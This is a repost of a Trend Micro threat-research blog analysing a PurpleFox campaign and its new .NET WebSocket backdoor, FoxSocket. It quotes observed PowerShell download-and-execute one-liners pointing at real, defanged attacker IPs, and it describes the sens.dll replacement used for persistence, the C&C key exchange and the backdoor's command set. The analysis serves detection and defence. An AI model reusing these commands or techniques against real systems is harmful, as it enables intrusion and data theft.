PurpleFox Adds New Backdoor That Uses WebSockets

by chebbi abir

In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious activity related to a PurpleFox operator. Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.

In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious activity related to a PurpleFox operator. Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.

We also found a new backdoor written in .NET implanted during the intrusion, which we believe is highly associated with PurpleFox. This backdoor, which we call FoxSocket, leverages WebSockets to communicate with its command-and-control (C&C) servers, resulting in a more robust and secure means of communication compared to regular HTTP traffic.

We believe that this particular threat is currently being aimed at users in the Middle East. We first encountered this threat via customers in the region. We are currently investigating if it has been found in other parts of the world.

In this blog, we describe some of the observed modifications for the initial PurpleFox payloads, alongside the new implanted .NET backdoor and the C2 infrastructure serving its functionality.

PurpleFox Capabilities and Technical Analysis

PowerShell

The activity starts with either of the following PowerShell commands being executed:

  • “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png’);MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png”
  • “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http[:]//117.187.136.141[:]13405/57BC9B7E.Png’);MsiMake http[:]//117.187.136.141[:]13405/0CFA042F.Png”

These commands download a malicious payload from the specified URLs, which are hosted on multiple compromised servers. These servers are part of the PurpleFox botnet, with most of these located in China:

Table 1. Location of PurpleFox servers
Country Server count
China 345
India 34
Brazil 29
United States 26
Others 113

The fetched payload is a long script consisting of three components:

  1. Tater (Hot Potato – privilege escalation)
  2. PowerSploit
  3. Embedded exploit bundle binary (privilege escalation)

The script targets 64-bit architecture systems. It starts by checking the Windows version and applied hotfixes for the vulnerabilities it is targeting.

  • Windows 7/Windows Server 2008
    • CVE-2020-1054 (KB4556836, KB4556843)
    • CVE-2019-0808 (KB4489878, KB4489885, KB2882822)
  • Windows 8/Windows Server 2012
    • CVE-2019-1458 (KB4530702, KB4530730)
  • Windows 10/Windows Server 2019
    • CVE-2021-1732 (KB4601354, KB4601345, KB4601315, KB4601319)

After selecting the appropriate vulnerability, it uses the PowerSploit module to reflectively load the embedded exploit bundle binary with the target vulnerability and an MSI command as arguments. As a failover, it uses the Tater module to launch the MSI command.

The goal is to install the MSI package as an admin without any user interaction.

MSI Package

The MSI package starts by removing the following registry keys, which are old Purple Fox installations if any are present:

  • HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}

It then installs the components (dbcode21mk.log and setupact64.log) of the Purple Fox backdoor to Windows directory. Afterward, it sets two registry values under the key “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager”:

  • AllowProtectedRenames to 0x1, and
  • PendingFileRenameOperations to the following:

\??\C:\Windows\AppPatch\Acpsens.dll

\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll

\??\C:\Windows\setupact64.log
\??\C:\Windows\system32\sens.dll

These commands move sens.dll to C:\Windows\AppPatch\Acpsens.dll and replace it with the installed file setupact64.log.

The MSI package then runs a .vbs script that creates a Windows firewall rule to block incoming connections on ports 135, 139, and 445. As a final step, the system is restarted to allow PendingFileRenameOperations to take place, replacing sens.dll, which will make the malware run as the System Event Notification Service (SENS).

PurpleFox Backdoor

The installed malware is a .dll file protected with VMProtect. Using the other data file installed by the MSI package, it unpacks and manually loads different DLLs for its functionality. It also has a rootkit driver that is also unpacked from the data file and is used to hide its files, registry keys, and processes. The sample starts by copying itself to another file and installing a new service, then restoring the original sens.dll file. Afterward,  it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.

PurpleFox installation process
Figure 1. PurpleFox installation process

WebSocket Backdoor

Initial Delivery

The initial activity for retrieving this backdoor was captured three days after the previous PurpleFox intrusion attempts on the same compromised server. The Trend Micro Vision One™ platform flagged the following suspicious PowerShell commands:

  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/1’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/2’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/3’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/4’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/5’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/8’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/9’))”
Trend Micro Vision One alert for PowerShell commands
Figure 2. Trend Micro Vision One alert for PowerShell commands

We analyzed the payload hosted on the URLs, which were variations of 185[.]112.144.245/a/[1-9], and all were found to be serving two variants of another PowerShell script that acts as the main downloader for the .NET backdoor.

Contents of payload
Figure 3. Contents of payload

The difference between the two observed PowerShell scripts were in Base64-encoded data that was passed as an argument to the .NET sample downloaded from 185[.]112[.]144[.]45/a/data and finally invoked with this configuration parameter. We found two different configuration parameters used: We observed the first one on August 26 and the second one with more domains embedded on August 30. The decoded Base64-encoded configuration parameters are shown in the following figures:

August 26 configuration
Figure 4. August 26 configuration
August 30 configuration
Figure 5. August 30 configuration

These configuration parameters will be used by the .NET initialization routines to pick a C&C server and initialize cryptographic functions for the C&C channel. Aside from the configuration, the payload itself is retrieved from 185.112.144[.]45/a/data. We also found some old variants that date back to June 22 that have fewer capabilities than the more recent variants.

During the earliest iterations for deploying this backdoor, aligning with the creation data of the malicious domain advb9fyxlf2v[.]com, the configuration parameters had a minimal number of subdomains to contact the C&C servers compared to the recent one.

Backdoor configuration
Figure 6. Backdoor configuration

.NET Backdoor Obfuscation

Let us start the analysis with the backdoor dropped on the SQL server. When decompiled,  it will output some obfuscated symbols, although most of these can’t be restored to the original. Merely making them to be human-readable is sufficient for basic static analysis. Sometimes, some of the original names can be restored.

Cleaned classes and method names
Figure 7. Cleaned classes and method names

One notable characteristic we rarely see in malware is leveraging WebSocket communication to the C&C servers for an efficient bidirectional channel between the infected client and the server.

WebSocket is a communication technology that supports streams of data to be exchanged between a client and a server over just a single TCP session. This is different from traditional request or response protocols like HTTP. This gives the threat actor a more covert alternative to HTTP requests and responses traffic, which creates an opportunity for a more silent exfiltration with less likelihood of being detected.

Traditional (left) and WebSocket techniques (right)
Figure 8. Traditional (left) and WebSocket techniques (right)

It initializes a WebSocket communication with its C&C server and keeps it open by sending keepalive messages to maintain the TCP connection. Once this is established, a series of bidirectional messages will be exchanged between the infected machine and the selected C&C server to negotiate a session encryption key.

TCP/IP exchanges between client and server
Figure 9. TCP/IP exchanges between client and server

The execution starts by initializing the WebSocket and registering four callback functions as handlers for the WebSocket events.

Function for registering callback functions
Figure 10. Function for registering callback functions

One of the relevant callbacks is onOpen, which will initialize the C&C channel encryption parameters once the WebSocket object is fired for the first time. As shown in the next section, this is mainly for implementing the first Diffie-Hellman (DH) key exchange message with the C&C server. On the other side, the onReceive handler will process and dispatch all the commands received from the server after a secure communication channel is established and when the session encryption key is updated.

Key Negotiations

The first key exchange with the C&C server is carried out by the onOpen callback registered function, as seen in Figure 11.

onOpen function
Figure 11. onOpen function

It initializes the EC DH object with some parameters to start the shared secret key negotiation. The  ECDiffieHellmanKeyDerivationFunction property is then set to Hash. This property is for specifying the key derivation function that the ECDiffieHellmanCng class will use to convert secret agreements into key material, so a hash algorithm is used to generate key material (instead of HMAC or TLS).

Afterward, the client will try to send the property PublicKey, which will be used at the C&C side on another ECDiffieHellmanCng object to generate a shared secret agreement. Eventually, this data will be sent on the WebSocket as the first key exchange message. However, instead of sending it in cleartext, the client deploys a symmetric AES encryption for any communication over the WebSocket for the first exchange, as no shared secret is established yet, and the AES encryption will generate a default key for this first exchange. 

Function and code for the AES encryption key
Function and code for the AES encryption key
Figures 12-13. Function and code for the AES encryption key

This will result in the key negotiation message being encrypted with AES using the shown parameters and a dummy key generated (111….11)[32] named byte_0 in the following debugging session with the actual AES cipher text with a fixed length of 176 bytes

Structure of key exchange message
Figure 14. Structure of key exchange message

The 176 encrypted bytes are the actual data that will be sent over the WebSocket, which marks the end of the first key exchange message.

Second Exchange (C&C to Victim)

The second key exchange message is sent from the server to the client that will be handled by the onReceive function. The execution is invoked by the message handler. 

Invoking the onReceive function
Figure 15. Invoking the onReceive function

This AES-encrypted second exchange has a fixed length of 304 bytes.

Contents of incoming message
Figure 16. Contents of incoming message

It then checks if this incoming message is related to the control plane key establishment or just a normal data command.

If it is related to the former, the first step is to decrypt the symmetric encryption on the C2 channel then finalize the shared secret generation by handing the execution to ECDH derivation function method_7.

Handoff to method_7 function
Figure 17. Handoff to method_7 function

The client will verify the signed message by loading the RSA public key loaded from the configuration payload shown in the previous section. If the signature is verified correctly, key material will be derived from the DH exchange and will be saved as the permanent symmetric AES encryption key (Symmetric_AES_key variable) that will be used as long as the WebSocket channel is active.

method_7 function
Figure 18. method_7 function

Third Exchange (Victim to C&C)

Once an efficient encrypted session is established over the WebSocket, the client will fingerprint the machine by extracting specific data (including the username, machine name, local IP, MAC address, and Windows version) and will relay such data over the secure channel to get the victim profiled at the server side, which is the final exchange before the WebSocket channel is fully established. It will then listen for further commands, which will be covered in the next section.

As the fingerprinting data collected will be different from one execution environment to another, this message will vary in length. From our lab analysis, it was 240 bytes with the newly generated shared secret key.

Newly generated secret key
Figure 19. Newly generated secret key

As far as the WebSocket is maintained with the keepalive messages shown earlier, the operators can signal any command to be executed, so what happens next mainly depends on the targeting and the actual motivation of the operator.

WebSocket Commands

In this section, we cover some of the observed commands sent from the server. There are some minor differences between variants across them with regard to the command numbers and the supported functionality.

All the handling of commands is implemented in the main dispatch routine (except for command 160, which is used for key negotiation or renegotiation).

Table 2. List of commands
Command code Functionality
20 Sends the current date on the victim machine
30 Leaks DriveInfo.GetDrives() results info for all the drives 
40 Leaks DirectoryInfo() results info for a specific directory
50 FileInfo()results info for a specific file
60 Recursive directory search
70 Executes WMI queries – ManagementObjectSearcher()
80 Closes the WebSocket Session
90 Exits the process
100 Spawns a new process
110 Downloads more data from a specific URL to the victim machine
120 DNS lookup from the victim machine
130 Leaks specific file contents from the victim machine
140 Writes new content to a specific location
150 Downloads data then write to a specific file
160 Renegotiates session key for symmetric encryption
180 Gets current process ID/Name
210 Returns the configuration parameter for the backdoor
220 Kills the process then start the new process with a different config
230 Kills specific process with PID
240 Queries internal backdoor object properties
260 Leaks hashes of some specific files requested
270 Kills list of PIDs
280 Deletes list of files/directories requested
290 Moves list of files/directories to another location
300 Creates new directory to a specific location

WebSocket C&C Infrastructure

At the time of this writing, there were several active C&C servers controlling the WebSocket clients. By profiling the infected targets and interacting through different commands sent, we listed the observed IP addresses and the registered domains found in the PowerShell downloaders and the backdoor configuration parameters.

 
Table 3. WebSocket C&C serversIP address Description ASN Notable activity
IP address  Description  ASN Notable activity
185.112.144.245

(Hosting PS payloads, /a/[1-9])

(Hosting .Net Payload, /a/data)

AS 44925 ( 1984 ehf )

Iraq, Saudi Arabia, Turkey, UAE
185.112.147.50 C&C server Turkey, US, UAE
185.112.144.101 Turkey
93.95.226.157 US
93.95.228.163 US
93.95.227.183
93.95.227.169 UAE
93.95.227.179
185.112.146.72 Potential C&C server
185.112.146.83

The backdoor picks one subdomain randomly from the configuration data and tries to connect via WebSockets. If it fails to connect on port 12345, it will try to resolve another subdomain.

Random C&C servers
Figure 20. Random C&C servers

The main domain advb9fyxlf2v[.]com used by these servers — registered on June 17, 2021, just within days of the first observed variant — is mainly for load balancing across the multiple active servers.

Conclusion

The rootkit capabilities of PurpleFox make it more capable of carrying out its objectives in a stealthier manner.  They allow PurpleFox to persist on affected systems as well as deliver further payloads to affected systems. We are still monitoring these new variants and their dropped payloads. The new .NET WebSocket backdoor (called FoxSocket, which we detect as Backdoor.MSIL.PURPLEFOX.AA) is being closely monitored to discover any more information about this threat actor’s intentions and objectives.

To read the original article:

https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html

Top

Interdit de copier  ce contenu